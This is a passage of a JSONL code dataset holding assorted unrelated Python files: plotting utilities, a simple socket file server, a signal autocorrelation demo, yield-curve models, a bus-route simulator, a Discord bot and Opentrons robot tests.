grid_col * i + j + 1)\n\n for metric in metrics:\n metric_idx = self.metric_index[metric]\n metric_history = [matrix[metric_idx] for matrix in aspect_values[aspect]]\n plt.plot(np.array(metric_history), label=metric)\n if mark_best and metric in self.metrics_to_choose_model:\n best_epoch = metric_best_epoch[metric]\n best_value = metric_history[best_epoch]\n plt.annotate(s=\"%.2f\" % float(best_value), xy=(best_epoch, float(best_value)), xycoords='data',\n xytext=(10, 10), textcoords='offset points',\n arrowprops={\"arrowstyle\": \"->\",\n \"connectionstyle\": \"arc,angleA=0,armA=20,angleB=90,armB=15,rad=7\"})\n\n plt.title(\"%s: %s\" % (history_name, aspect))\n plt.legend(loc='best', fontsize='small')\n plt.xlabel(\"Epoch\")\n plt.ylabel(\"Score\")\n\n # save figure\n plt.savefig(check_duplicate_path(filename))\n plt.close()\n\n def plot_bests(self, filename, aspect='test'):\n # variables\n filename = os.path.join(os.getcwd(), filename)\n colors = ['b', 'g', 'r', 'c', 'm', 'y', 'k']\n history_names = sorted(list(self.history_evaluation_matrices.keys()))\n grid_col, grid_row = 1, len(self.metrics_to_choose_model)\n\n if len(history_names) > 1:\n bar_width, opacity = .45, 0.4\n gap = int(bar_width * len(self.metrics)) + 1\n fontsize = 7\n figsize_x = 20 * grid_col\n loc = 'best'\n else:\n bar_width, opacity = .45, 0.4\n gap = round(bar_width * len(self.metrics))\n fontsize = 15\n figsize_x = 5 * grid_col\n loc = 'lower right'\n\n # values\n metric2bests = {}\n for metric in self.metrics_to_choose_model:\n metric2bests[metric] = []\n total_conf_mat = np.zeros((len(self.index2tag), len(self.index2tag)), dtype='int32')\n\n for history_name in history_names:\n best_epoch = self.get_best_epoch(history_name, metric)\n total_conf_mat += self.history_confusion_matrices[history_name][aspect][best_epoch]\n eval_mat = self.history_evaluation_matrices[history_name][aspect][best_epoch]\n metric2bests[metric].append([eval_mat[self.metric_index[metric]] for metric in self.metrics])\n\n if len(history_names) > 1:\n total_eval_mat = self.get_evaluation_matrix(total_conf_mat)\n metric2bests[metric].append([total_eval_mat[self.metric_index[metric]] for metric in self.metrics])\n\n # plots\n if len(history_names) > 1:\n history_names.append('total')\n index = np.arange(start=0, stop=gap * len(history_names), step=gap)\n\n plt.figure(figsize=(figsize_x, 5 * grid_row))\n for i, metric in enumerate(self.metrics_to_choose_model):\n values = np.asarray(metric2bests[metric]) * 100\n plt.subplot(grid_row, grid_col, i + 1)\n for j, best_metric in enumerate(self.metrics):\n rects = plt.bar(index + bar_width * j, values[:, j], width=bar_width, alpha=opacity, label=best_metric,\n color=colors[j])\n for rect in rects:\n width, height = rect.get_x() + rect.get_width() / 2, rect.get_height()\n plt.text(width, height, '%.2f' % float(height), fontsize=fontsize, horizontalalignment='center')\n plt.xlabel('History Names')\n plt.ylabel('Scores')\n plt.title('Metric: %s, Aspect: %s' % (metric, aspect))\n plt.xticks(index + bar_width, history_names)\n plt.legend(loc=loc, fontsize='small')\n plt.tight_layout()\n\n # save figure\n plt.savefig(check_duplicate_path(filename))\n plt.close()\n\n","sub_path":"npdl/utils/eval.py","file_name":"eval.py","file_ext":"py","file_size_in_byte":20567,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"175123988","text":"import os\nimport shutil\nimport threading\nimport tempfile\nimport socket\nimport os\nimport queue, logging\nimport time\n\ntitle = \"\"\nlogging.basicConfig(level=logging.DEBUG,\n format='(%(threadName)-9s) %(message)s', )\n\n\n# Obsolete\n# TODO : Verifiy if this work : run this alone\ndef reformat(raw_bytes):\n titleBin = ' '.join(map(lambda x: '{:08b}'.format(x), raw_bytes))\n\n STARTING = titleBin.find('1')\n titleBin = titleBin[STARTING:]\n SPACE_INDEX = titleBin.find(' ')\n tempStr = titleBin[:SPACE_INDEX]\n\n for x in range(8 - len(tempStr)):\n tempStr = '0' + tempStr\n titleBin = tempStr + titleBin[SPACE_INDEX:]\n print(titleBin)\n\n for word in titleBin.split(' '):\n title = title + chr(int(word, 2))\n print(title)\n return title\n\n\ndef createFolder(directory):\n if not os.path.exists(directory):\n os.mkdir(directory, mode=0o777)\n\n\nclass Server:\n queue = queue.Queue()\n pending = False\n\n def __init__(self, _server, bufferSize, threadId, clientId, pending):\n threading.Thread.__init__(self)\n self.threadId = threadId\n self.clientId = clientId\n self._server = _server\n self.bufferSize = bufferSize\n self.pending = pending\n createFolder(clientId)\n\n def run(self, queue):\n # TODO : Refomat the server3.py ! Done\n # TODO : Create a thread Class ! Done 2:25 PM\n print(\"Server is listening for incoming Data \")\n # while True:\n if not queue.full():\n conn, address = self._server.accept()\n titleData = 0\n print('client connected ... ' + str(address[0]) + \":\" + str(address[1]))\n # We create a temporary files\n # The title we don't need it so we delete it !\n createFolder(self.clientId)\n titleFile = tempfile.NamedTemporaryFile('w+b', dir=self.clientId, delete=True)\n dataFile = tempfile.NamedTemporaryFile('w+b', dir=self.clientId, delete=True)\n print(str(self.threadId))\n while self.pending:\n data = conn.recv(self.bufferSize)\n if not data:\n self.pending = False\n break\n if titleData >= 4096:\n dataFile.write(data)\n print('writing file .... temp_data ... ', len(data))\n if titleData < 4096:\n if titleData + len(data) > 4096:\n print('EXCEPTION')\n titleFile.write(data[:4096 - titleData])\n print('writing file .... temp_title ... ', 4096 - titleData)\n dataFile.write(data[4096 - titleData:])\n print('writing file .... temp_data ... ', len(data[4096 - titleData:]))\n titleData = titleData + len(data)\n else:\n titleFile.write(data)\n print('writing file .... temp_title ... ', len(data))\n titleData = titleData + len(data)\n\n print('split done')\n try:\n titleFile.seek(0)\n title = titleFile.read().decode(\"utf-8\").replace('\\x00', \"\")\n print(title)\n original_filename = dataFile.name\n print(original_filename)\n path = os.getcwd() + \"\\\\\" + self.clientId + \"\\\\\" + title\n # path = \"%s'\\\\'%s'\\\\'%s\" % os.getcwd() % self.clientId % title\n os.link(original_filename, path)\n\n except Exception as e:\n print(e)\n pass\n titleFile.close()\n dataFile.close()\n queue.put(path)\n logging.debug('Putting ' + str(path)\n + ' : ' + str(queue.qsize()) + ' items in queue')\n print('finished writing file')\n conn.close()\n print('client disconnected')\n return queue\n\n def sleep(self, n):\n time.sleep(n)\n\n\nif __name__ == \"__main__\":\n # TODO : I HAVE TO change the principal functionality\n # The use of this class :\n HOST = '192.168.61.109'\n PORT = 8888\n ADDR = (HOST, PORT)\n BUFSIZE = 4096\n OFFSET = BUFSIZE * 8 + BUFSIZE\n THREAD_NUM = 2\n queue = queue.Queue()\n server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\n server.bind(ADDR)\n\n server.listen(5)\n print(\"serving through : %i\" % PORT)\n print('listening ...')\n\n thread_server = Server(server, BUFSIZE, 1, \"source\", True, None)\n thread_server1 = Server(server, BUFSIZE, 2, \"source\", True, None)\n # executor = ThreadPoolExecutor(max_workers=THREAD_NUM)\n # a = executor.submit(thread_server.run())\n # b = executor.submit(thread_server1.run())\n\n # for i in range(THREAD_NUM):\n # thread_server = Server(server, BUFSIZE, i, \"source\", True, None)\n # thread_server.run()\n","sub_path":"server3.py","file_name":"server3.py","file_ext":"py","file_size_in_byte":4908,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"351370427","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport pygame\nimport pygame.mixer\nfrom time import sleep\nfrom scipy import signal, misc\nfrom scipy.io import wavfile\n\n# auto cor\ndef auto_correlation(x):\n lengthA=len(x)\n h = x[::-1] #reverse\n y = np.zeros(lengthA+lengthA-1)\n for m in np.arange(lengthA):\n for n in np.arange(lengthA):\n y[m+n] = y[m+n] + x[m] * h[n]\n return y\n\nD = 30\nnSample = 200\ndist = 0.8\nx = np.zeros(nSample+D)\nx[0:nSample] = np.random.randn(1,nSample)\ndelay = np.zeros(nSample+D)\ndelay[D:] = x[:-D] * dist\n\ny = x+delay\nconv = auto_correlation(x)\n\nprint(x.shape)\nprint(delay.shape)\nprint(y.shape)\n\nplt.subplot(411), plt.plot(x), plt.title('Original SIgnal')\nplt.subplot(412), plt.plot(delay), plt.title('Delayed Signal')\nplt.subplot(413), plt.plot(y), plt.title('Received Signal')\nplt.subplot(414), plt.plot(conv), plt.title('Correlation Result')\nplt.tight_layout()\nplt.show()\n\n\nconv = auto_correlation(y)\nplt.plot(conv), plt.title('Correlation(recved)')\nplt.show()\n\n\nlength = len(conv)\nstart = int(length/2)\nend = length\nbuffer = conv\nbuffer[start] = 0\nplt.plot(buffer[start:end])\nplt.show()\n\n# D를 알아낼 수 있음\n# 시작점만 날리면\nidx = np.argmax(buffer[start:end])\nprint(idx)","sub_path":"MultimediaProgramming/Fourth/Problem.py","file_name":"Problem.py","file_ext":"py","file_size_in_byte":1248,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"13220749","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Apr 08 09:26:27 2016\n\n@author: Dominic O'Kane\n\"\"\"\n\nimport numpy as np\nfrom math import exp\n\nfrom ...finutils.FinGlobalVariables import gSmall\nfrom ...market.curves.FinDiscountCurve import FinDiscountCurve\nfrom ...finutils.FinHelperFunctions import inputTime, inputFrequency\n\n##########################################################################\n\n\nclass FinNelsonSiegelCurve():\n ''' Implementation of Nelson-Siegel parametrisation of a rate curve. \n The default is a continuously compounded rate but you can override \n this by providing a corresponding compounding frequency. '''\n\n def __init__(self, curveDate, params, cmpdFreq=-1):\n ''' Creation of a Nelson-Siegel curve. Parameters are provided as a \n list or vector of 4 values for beta1, beta2, beta3 and tau. '''\n\n self._curveDate = curveDate\n\n if len(params) != 4:\n raise ValueError(\"NS requires a vector/list of 4 parameters.\")\n\n if params[3] <= 0:\n raise ValueError(\"Tau must be positive\")\n\n self._beta1 = params[0]\n self._beta2 = params[1]\n self._beta3 = params[2]\n self._tau = params[3]\n\n##########################################################################\n\n def zeroRate(self, dt, compoundingFreq=-1):\n ''' Calculation of zero rates with specified frequency. This \n function can return a vector of zero rates given a vector of \n times so must use Numpy functions. '''\n\n t = inputTime(dt, self)\n f = inputFrequency(compoundingFreq)\n t = t + gSmall # To avoid overflows when t=0.0\n\n theta = t / self._tau\n e = np.exp(-theta)\n zeroRate = self._beta1 + self._beta2 * (1.0 - e) / theta\n zeroRate += self._beta3 * ((1.0 - e) / theta - e)\n df = np.exp(-zeroRate * t)\n\n if f == 0: # Simple interest\n r = (1.0/df-1.0)/t\n if f == -1: # Continuous\n r = -np.log(df)/t\n else:\n r = (df**(-1.0/t)-1.0) * f\n\n return r\n\n##########################################################################\n\n def fwd(self, dt):\n ''' Calculation of forward rates. This function can return a vector\n of instantaneous forward rates given a vector of times. '''\n t = inputTime(dt, self)\n theta = t / self._tau\n e = np.exp(-theta)\n fwdRate = self.beta1 + self.beta2 * e + self.beta3 * theta * e\n return fwdRate\n\n##########################################################################\n\n def df(self, dt):\n ''' Discount factor for Nelson-Siegel curve parametrisation. '''\n t = inputTime(dt, self)\n r = self.zero(t)\n return exp(-r * t)\n\n#############################################################################\n\n\nclass FinNelsonSiegelSvenssonCurve():\n ''' Implementation of Nelson-Siegel-Svensson parametrisation of the\n zero rate curve '''\n\n def __init__(self, beta1, beta2, beta3, beta4, tau1, tau2):\n\n if tau1 <= 0:\n raise ValueError(\"Tau1 must be positive\")\n\n if tau2 <= 0:\n raise ValueError(\"Tau2 must be positive\")\n\n self._beta1 = beta1\n self._beta2 = beta2\n self._beta3 = beta3\n self._beta4 = beta4\n self._tau1 = tau1\n self._tau2 = tau2\n\n##########################################################################\n\n def zero(self, t):\n ''' Calculation of zero rates. This function can return a vector\n of zero rates given a vector of times. '''\n\n if np.any(t < 0.0):\n raise ValueError(\"All times must be positive\")\n\n t = t + gSmall # To avoid overflows when t=0.0\n theta1 = t / self._tau1\n theta2 = t / self._tau2\n expTerm1 = np.exp(-theta1)\n expTerm2 = np.exp(-theta2)\n zeroRate = self._beta1\n zeroRate += self._beta2 * (1.0 - expTerm1) / theta1\n zeroRate += self._beta3 * ((1.0 - expTerm1) / theta1 - expTerm1)\n zeroRate += self._beta4 * ((1.0 - expTerm2) / theta2 - expTerm2)\n return zeroRate\n\n##########################################################################\n\n def fwd(self, t):\n ''' Calculation of forward rates. This function uses Numpy so can return\n a vector of forward rates given a Numpy array vector of times. '''\n\n theta1 = t / self._tau1\n theta2 = t / self._tau2\n expTerm1 = np.exp(-theta1)\n expTerm2 = np.exp(-theta2)\n fwdRate = self._beta1\n fwdRate += self._beta2 * expTerm1\n fwdRate += self._beta3 * theta1 * expTerm1\n fwdRate += self._beta4 * theta2 * expTerm2\n return fwdRate\n\n##########################################################################\n\n def df(self, t):\n ''' Discount factor for Nelson-Siegel-Svensson curve \n parametrisation. '''\n r = self.zero(t)\n return exp(-r * t)\n\n#############################################################################\n","sub_path":"financepy/market/curves/FinNelsonSiegelCurve.py","file_name":"FinNelsonSiegelCurve.py","file_ext":"py","file_size_in_byte":5011,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"201877851","text":"__author__ = 'Dominic Gomez'\n__email__ = 'DominicAnthonyGomez@gmail.com'\n\n\"\"\"Miscellaneous functions that make life easier.\"\"\"\n\nimport operator\n\nBLACK = (0,0,0)\n\ndef tupadd(lhs, rhs):\n \"\"\"Componentwise addition of tuples.\n\n lhs ((int,int)): The first tuple.\n rhs ((int,int)): The second tuple.\n\n \"\"\"\n return tuple(map(operator.add, lhs, rhs))\n\ndef is_in_bounds(elem_sz, pos, cont_sz):\n \"\"\"Determine if a rectangle is completely inside another rectangle.\n\n elem_sz ((int,int)): The (w,h) dimensions of the inner rectangle.\n pos ((int,int)): The (x,y) coords of the inner rectangle.\n cont_sz ((int,int)): The (w,h) dimensions of the outer rectangle (container).\n \"\"\"\n (elem_w,elem_h) = elem_sz\n (x,y) = pos\n (cont_w,cont_h) = cont_sz\n # Make sure it's not too high or too far left.\n if x < 0 or y < 0: return False\n # Make sure it's not too low or too far right.\n if x > (cont_w - elem_w) or y > (cont_h - elem_h): return False\n return True\n","sub_path":"src/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":993,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"382365221","text":"#\nimport ShareYourSystem as SYS\n#\n\n#\nclass CollectorClass(\n\t\t\t\t\tSYS.UserClass\n\t\t\t\t):\n\n\t#\n\tdef initAfterBasesWithCollector(self):\n\n\t\t#\n\t\tself+={'UsedTypeString':\"Structurer\"}\n\t\tself+={'UsedTypeString':\"Sorter\",\"PrefixString\":\"CollectingItemizers\"}\n\t\tself+={'UsedTypeString':\"Sorter\",\"PrefixString\":\"CollectedVariables\"}\n\t\t#\n\n\t\t#Update the TypeStringToKeyStringsListDict\n\t\tself.TypeStringToKeyStringsListDict[\"Collector\"]=[]\n\n\tdef callAfterBasesWithCollector(self,*_ArgsList,**_KwargsDict):\n\n\t\t#Check that the _KwargsDict is ok\n\t\tif 'TypeDictString' in _KwargsDict:\n\t\t\tif _KwargsDict['TypeDictString']==\"Collection\":\n\t\t\t\tif 'CollectedVariablesList' in _KwargsDict:\n\t\t\t\t\t\n\t\t\t\t\t#Call the Structurer to store this collection\n\t\t\t\t\tif type(_KwargsDict['CollectedVariablesList'])==list:\n\t\t\t\t\t\tself['OfCollector_Structurer'].__add__(_KwargsDict['CollectedVariablesList'])\n\n\t'''\n\tdef reprAfterBasesWithSorter(self,SelfString,PrintedDict):\n\n\t\t#Define the new PrintedDict with SkippedKeyStringsList\n\t\tNewPrintedDict=self['OfSorter_Itemizer']\n\n\t\t#Define the new SelfString\n\t\tSelfString=SYS.ConsolePrinter.getPrintedVariableString(NewPrintedDict)\n\n\t\t#Return\n\t\treturn (SelfString,NewPrintedDict)\n\t\t\n\t'''\n\t#\n\t\n\t#\n\t#\t\n\n\t#\n\t#\t\n\n#","sub_path":"Modules/Init/Drafts/_ModulesAncien/05c_Collector/Collector.py","file_name":"Collector.py","file_ext":"py","file_size_in_byte":1445,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"212707501","text":"\nclass ListNode:\n def __init__(self, x):\n self.val = x\n self.next = None\n\nclass Solution:\n \n def detectCycle(self, head: ListNode) -> ListNode:\n temp = head\n a = []\n while(temp):\n if temp not in a:\n a.append(temp)\n else:\n return temp\n temp = temp.next\n return None\n \n def hasCycle(self, head: ListNode) -> bool:\n node_set = set()\n \n while head != None:\n if head in node_set:\n return True\n node_set.add(head)\n head = head.next\n \n return False\n \n \n def hasCycleTwoPointer(self, head:ListNode):\n if head == None or head.next == None:\n return False\n slow = head\n fast = head.next\n \n while slow != head:\n if fast == None or fast.next == None:\n return False\n slow = slow.next\n fast = fast.next.next\n return True\n \n \n def hasCycleFinal(self, head: ListNode) -> bool:\n if head == None or head.next == None:\n return False\n slow = fast = head\n while fast and fast.next:\n fast = fast.next.next\n slow = slow.next\n if slow == fast:\n print(slow.val)\n \n return True\n return False\n \n ","sub_path":"leetcode/linkedlist/hasCycle.py","file_name":"hasCycle.py","file_ext":"py","file_size_in_byte":1436,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"467051474","text":"\"\"\"\n문제 : 백준 알고리즘 10871번 -\n정수 N개로 이루어진 수열 A와 정수 X가 주어진다. 이때, A에서 X보다 작은 수를 모두 출력하는 프로그램을 작성하시오.\n작성자 : 김은정\n작성일 : 2018 . 9 20\n\"\"\"\n\na = input().split(\" \") # 수열 A를 이룰 정수 N개의 개수와 정수X 2개의 정수 입력받고, 공백에 따라 자르기\nX = int(a[1]) # 정수 X를 int형으로 변환\nb = input().split(\" \") # 정수 N개로 이루어진 수열 A입력받고 공백에 따라 자르기.\nc = \"\" # c를 정의\nfor i in b : #b의 수만큼 반복\n if (int(i) '9' or currStop[beginning] < '0')):\n beginning = beginning + 1\n end = beginning\n while (end < len(currStop) and (currStop[end] == '-' or currStop[end] == '.' or (currStop[end] <= '9' and currStop[end] >= '0'))):\n end = end + 1\n# print(currStop[beginning:-1*(len(currStop) - end)])\n return float(currStop[beginning:-1*(len(currStop) - end)])\n\ndef parseY(currStop) :\n beginning = 0\n end = 0\n while(currStop[beginning] != ','):\n beginning = beginning + 1\n while (beginning < len(currStop) and currStop[beginning] != '-' and (currStop[beginning] < '0' or currStop[beginning] > '9')):\n beginning = beginning + 1\n #found beginnning\n #print(beginning)\n #print(currStop[beginning:])\n end = beginning\n \n while (end < len(currStop) and (currStop[end] == '-' or currStop[end] == '.' or (currStop[end] <= '9' and currStop[end] >= '0'))):\n end = end + 1\n# print(currStop[beginning:-1*(len(currStop) - end)])\n return float(currStop[beginning:-1*(len(currStop) - end)])\n \n# EVERYTHING ABOVE, WILL BE GOOOONE!\n\n# import files for reading and writing\nimport pandas as pd\nfrom datetime import datetime, date\n\n# Do not generate warning for changing sheet\npd.options.mode.chained_assignment = None\n\n# Important excel file and set its sheet\nxlsx = pd.ExcelFile(\"busData.xlsx\")\nsheet1 = xlsx.parse(0) #actually use sheet 2\n\nbusRoutes = {}\n# iterate row by row through the excel sheet\nfor i in range(0, len(sheet1)):\n # get the ith row\n row = sheet1.ix[i]\n #print(row)\n if (not row[2] in busRoutes) :\n busRoutes[row[2]] = (Route(row[2], row[1], parseX(row[0]), parseY(row[0])))\n else :\n busRoutes[row[2]].addLoc(row[1], parseX(row[0]), parseY(row[0]))\n\n'''\nfor i in busRoutes :\n print(i)\n print(busRoutes[i])\n print (\"\\n\\n\")\n'''\n# EVERYTHING ABOVE WILL BE GONE, DONT NEED TO READ THE BUS ROUTES\n\nimport datetime\nfrom random import *\nimport math\nclass Bus:\n BusNumber = 0\n \n def __init__(self, routeName, delta):\n self.busId = Bus.BusNumber\n Bus.BusNumber += 1\n \n self.active = (datetime.datetime.now().hour > 5 and datetime.datetime.now().hour < 22)\n \n self.waitTime = delta.seconds\n if (self.waitTime == 0):\n self.waitTime = delta.microSeconds / 1000\n self.route = routeName\n self.prevDest = (busRoutes[routeName]).get(0)\n self.nextDest = (busRoutes[routeName]).get(1)\n self.currX = busRoutes[routeName].getX(self.prevDest)\n self.currY = busRoutes[routeName].getY(self.prevDest)\n self.nextX = busRoutes[routeName].getX(self.nextDest)\n self.nextY = busRoutes[routeName].getY(self.nextDest)\n self.currXDist = self.nextX- self.currX\n self.currYDist = self.nextY - self.currY\n self.waitSteps = 0\n self.stepsTowardsNextDest = 0\n \n self.sincePrevStop = 0\n \n def drive(self, time):\n if time.hour > 5 and time.hour < 22:\n self.active = True\n else:\n self.active = False\n if self.waitSteps > 0:\n self.waitSteps = self.waitSteps - 1\n self.sincePrevStop+=1\n return\n if self.active:\n self.sincePrevStop+=1\n # don't stop here ever\n if random() < .05:\n return\n\n self.stepsTowardsNextDest+=1\n #print(self.currXDist)\n #print(self.nextX - self.currX)\n #print(self.currYDist)\n #print(self.currY)\n self.currX = self.currX + self.currXDist/(180 / self.waitTime)\n self.currY = self.currY + self.currYDist/(180 / self.waitTime)\n #if it is at the next stop, wait a bit and then start moving to next stop\n if (math.fabs(self.currX - self.nextX) < 10 ** (-7) and math.fabs(self.currY - self.nextY) < 10 ** (-7)):\n self.waitSteps = uniform((120 / self.waitTime), (240/self.waitTime))\n if (self.nextDest == \"Lot 16 & 23\"):\n self.waitSteps = uniform((600 / self.waitTime),(1200 / self.waitTime))\n if (self.nextDest == \"Goheen Walk\"):\n self.waitSteps = 0\n \n\n \n self.prevDest = self.nextDest\n self.nextDest = busRoutes[self.route].getNextStop(self.prevDest)\n self.nextX = busRoutes[self.route].getX(self.nextDest)\n self.nextY = busRoutes[self.route].getY(self.nextDest)\n self.currXDist= self.nextX - self.currX\n self.currYDist = self.nextY - self.currY\n self.stepsTowardsNextDest = 0\n self.sincePrevStop = 0\n \n # ADD TIME HERE\n busRoutes[self.route].addLocTimes(self.prevDest, self.timeToNextStop())\n else:\n return\n \n def distanceToNext(self):\n return (self.currX - self.nextX) * (self.currX - self.nextX) + (self.currY - self.nextY) * (self.currY - self.nextY)\n \n \n def roundDistance(self, dist):\n return int(math.ceil((dist)/self.waitTime)) *self.waitTime\n \n def timeSincePrevStop(self):\n return self.sincePrevStop*self.waitTime\n \n \n def timeToNextStop(self):\n #print(int(self.waitSteps * self.waitTime))\n #print(self.waitTime*(180/self.waitTime - self.stepsTowardsNextDest))\n return self.roundDistance(int(self.waitSteps * self.waitTime) + int(self.waitTime*(180/self.waitTime - self.stepsTowardsNextDest)))\n \n def getX(self):\n if (self.active):\n return self.currX\n else:\n return 0\n def getY(self):\n if (self.active):\n return self.currY\n else:\n return 0\n \n def getLocation(self):\n return \"(\" + str(self.getX()) + \", \" + str(self.getY()) + \")\"\n \n def prevStop(self):\n if (self.active):\n return self.prevDest\n else:\n return \"NULL\"\n \n def nextStop(self):\n if (self.active):\n return self.nextDest\n else:\n return \"NULL\"\n \n def isActive(self):\n return self.active\n \n def timeSincePrevStop(self):\n return self.sincePrevStop*self.waitTime\n \n def printLocation(self):\n if(self.active):\n print(\"{\\\"bus\\\": \\\"\" + str(self.busId) + \"\\\", \\\"pos\\\":{\\\"lat\\\":\" +\n str(self.getX()) +\",\\\"lng\\\":\" + str(self.getY()) + \"}, \\\"rt\\\":\\\"\" + self.route +\n \"\\\", \\\"prevDest\\\":\\\"\" + self.prevStop() + \"\\\", \\\"distNext\\\":\" + str(self.distanceToNext()) +\n \", \\\"tPrev\\\":\" + str(self.timeSincePrevStop()) + \"}\", end = \"\")\n \n # Define a toString method to allow for easy visualization\n def __str__(self):\n s = self.route + \"\\n\"\n s = s + \"Pos: ( \" + str(self.currX) + \", \" + str(self.currY) + \")\\n\"\n s = s + \"Past Stop: \" + self.prevDest +\"\\n\"\n s = s + \"Next Stop: \" + self.nextDest\n return s\n\n\ndef getRoutes():\n return busRoutes\n\nbuses = []\n\n# REAL TIME DATA (FAKED)\n#start bus1 at Goheen Walk\n#start bus2 at Equad\nfrom datetime import timedelta\ndelta = timedelta(seconds = 10)\ncurrentTime = datetime.datetime.now()\n#print(currentTime)\n#currentTime = currentTime + delta\n#print(currentTime)\nb1 = Bus(\"Central\", delta)\nb2 = Bus(\"E-Quad\", delta)\nbuses.append(b1)\nbuses.append(b2)\n\nimport time\ndelta = timedelta(microseconds = 100)\n\ndef printOutBusInfo():\n print(\"[\", end = \"\")\n for i in (range(0, len(buses))):\n buses[i].printLocation()\n if(not i == len(buses)-1):\n print(\",\", end = \"\")\n print(\"]\")\ndef __main__():\n while (1) :\n time.sleep(delta.microseconds/1000)\n b1.drive(datetime.datetime.now())\n b2.drive(datetime.datetime.now())\n printOutBusInfo()\n \n\nif(__name__ == __main__):\n __main__()\n\n #currentTime = currentTime + delta","sub_path":"busRoutes/server/python/bus.py","file_name":"bus.py","file_ext":"py","file_size_in_byte":10766,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"627112663","text":"import torch\n\n\nclass EncoderCellContent(torch.nn.Module):\n\n def __init__(self, in_channels, out_channels_cell_content, conv = False):\n \"\"\"conv: use convolutional layer, else linear layer \"\"\"\n super(EncoderCellContent, self).__init__()\n self.conv = conv\n if self.conv:\n self.conv1x1 = torch.nn.Conv2d(in_channels=in_channels, out_channels=out_channels_cell_content, kernel_size=1)\n else:\n self.fc = torch.nn.Linear(in_channels, out_channels_cell_content)\n\n def forward(self, features_map):\n if self.conv:\n # reducing the number of channels\n features_map = self.conv1x1(features_map)\n features_map = features_map.permute(0, 2, 3, 1)\n else:\n # swap axes\n features_map = features_map.permute(0, 2, 3, 1)\n features_map = self.fc(features_map)\n\n # stacking the layers vertically\n dims = features_map.size()\n num_examples = dims[0]\n num_layers = dims[1]\n layer_dim1 = dims[2]\n layer_dim2 = dims[3]\n cell_features_map = torch.reshape(features_map, (num_examples, num_layers * layer_dim1, layer_dim2))\n\n return cell_features_map\n","sub_path":"BaseModel_pytorch/EncoderCellContent.py","file_name":"EncoderCellContent.py","file_ext":"py","file_size_in_byte":1215,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"466835815","text":"import discord\nimport asyncio\n\nfrom plugins.invoker import Invoker\nfrom utils.details import config\n\n\nclass MyClient(discord.Client):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.config = kwargs['config']\n # create the background task and run it in the background\n self.bg_task = self.loop.create_task(self.my_background_task())\n\n async def on_ready(self):\n print('Logged in as')\n print(self.user.name)\n print(self.user.id)\n print('------')\n for guild in self.guilds:\n print(guild.name)\n\n async def on_message(self, message):\n if message.author == self.user:\n return \n if str(message.channel) in self.config['channels']:\n if message.content.startswith(self.config['command_prefix']):\n reply = await invoker.invoke_command(message)\n await message.channel.send(reply)\n # print(reply)\n\n async def my_background_task(self):\n await self.wait_until_ready()\n counter = 0\n channel = self.get_channel(137356419333750784) # channel ID goes here\n while not self.is_closed():\n counter += 1\n await asyncio.sleep(60) # task runs every 60 seconds\n\ninvoker = Invoker()\ndsclient = MyClient(config=config['discord']) \n\n","sub_path":"clients/discord/handler.py","file_name":"handler.py","file_ext":"py","file_size_in_byte":1352,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"653551126","text":"\"\"\" Test the functions and classes in the protocol context \"\"\"\n\nimport json\nfrom unittest import mock\n\nimport opentrons.protocol_api as papi\nfrom opentrons_shared_data import load_shared_data\nfrom opentrons_shared_data.pipette import name_for_model\nfrom opentrons.types import Mount, Point, Location, TransferTipPolicy\nfrom opentrons.hardware_control import API, NoTipAttachedError\nfrom opentrons.hardware_control.pipette import Pipette\nfrom opentrons.hardware_control.types import Axis\nfrom opentrons.config.pipette_config import config_models\nfrom opentrons.protocol_api import transfers as tf\nfrom opentrons.protocols.types import APIVersion\n\nimport pytest\n\n\ndef set_version_added(attr, mp, version):\n \"\"\" helper to mock versionadded for an attr\n\n attr is the attr\n mp is a monkeypatch fixture\n version is an APIVersion\n \"\"\"\n def get_wrapped(attr):\n if hasattr(attr, '__wrapped__'):\n return get_wrapped(attr.__wrapped__)\n return attr\n\n if hasattr(attr, 'fget'):\n # this is a property probably\n orig = get_wrapped(attr.fget)\n else:\n orig = get_wrapped(attr)\n mp.setattr(orig, '__opentrons_version_added', version)\n return attr\n\n\n@pytest.fixture\ndef get_labware_def(monkeypatch):\n def dummy_load(labware_name, namespace=None, version=None):\n # TODO: Ian 2019-05-30 use fixtures not real defs\n labware_def = json.loads(\n load_shared_data(f'labware/definitions/2/{labware_name}/1.json'))\n return labware_def\n monkeypatch.setattr(papi.labware, 'get_labware_definition', dummy_load)\n\n\ndef test_load_instrument(loop):\n ctx = papi.ProtocolContext(loop=loop)\n assert ctx.loaded_instruments == {}\n for model in config_models:\n loaded = ctx.load_instrument(model, Mount.LEFT, replace=True)\n assert ctx.loaded_instruments[Mount.LEFT.name.lower()] == loaded\n assert loaded.model == model\n instr_name = name_for_model(model)\n loaded = ctx.load_instrument(instr_name, Mount.RIGHT, replace=True)\n assert loaded.name == instr_name\n assert ctx.loaded_instruments[Mount.RIGHT.name.lower()] == loaded\n\n\nasync def test_motion(loop, hardware):\n ctx = papi.ProtocolContext(loop)\n ctx.connect(hardware)\n ctx.home()\n instr = ctx.load_instrument('p10_single', Mount.RIGHT)\n old_pos = await hardware.current_position(instr._mount)\n instr.home()\n assert instr.move_to(Location(Point(0, 0, 0), None)) is instr\n old_pos[Axis.X] = 0\n old_pos[Axis.Y] = 0\n old_pos[Axis.A] = 0\n old_pos[Axis.C] = 2\n assert await hardware.current_position(instr._mount) == old_pos\n\n\nasync def test_max_speeds(loop, monkeypatch, hardware):\n ctx = 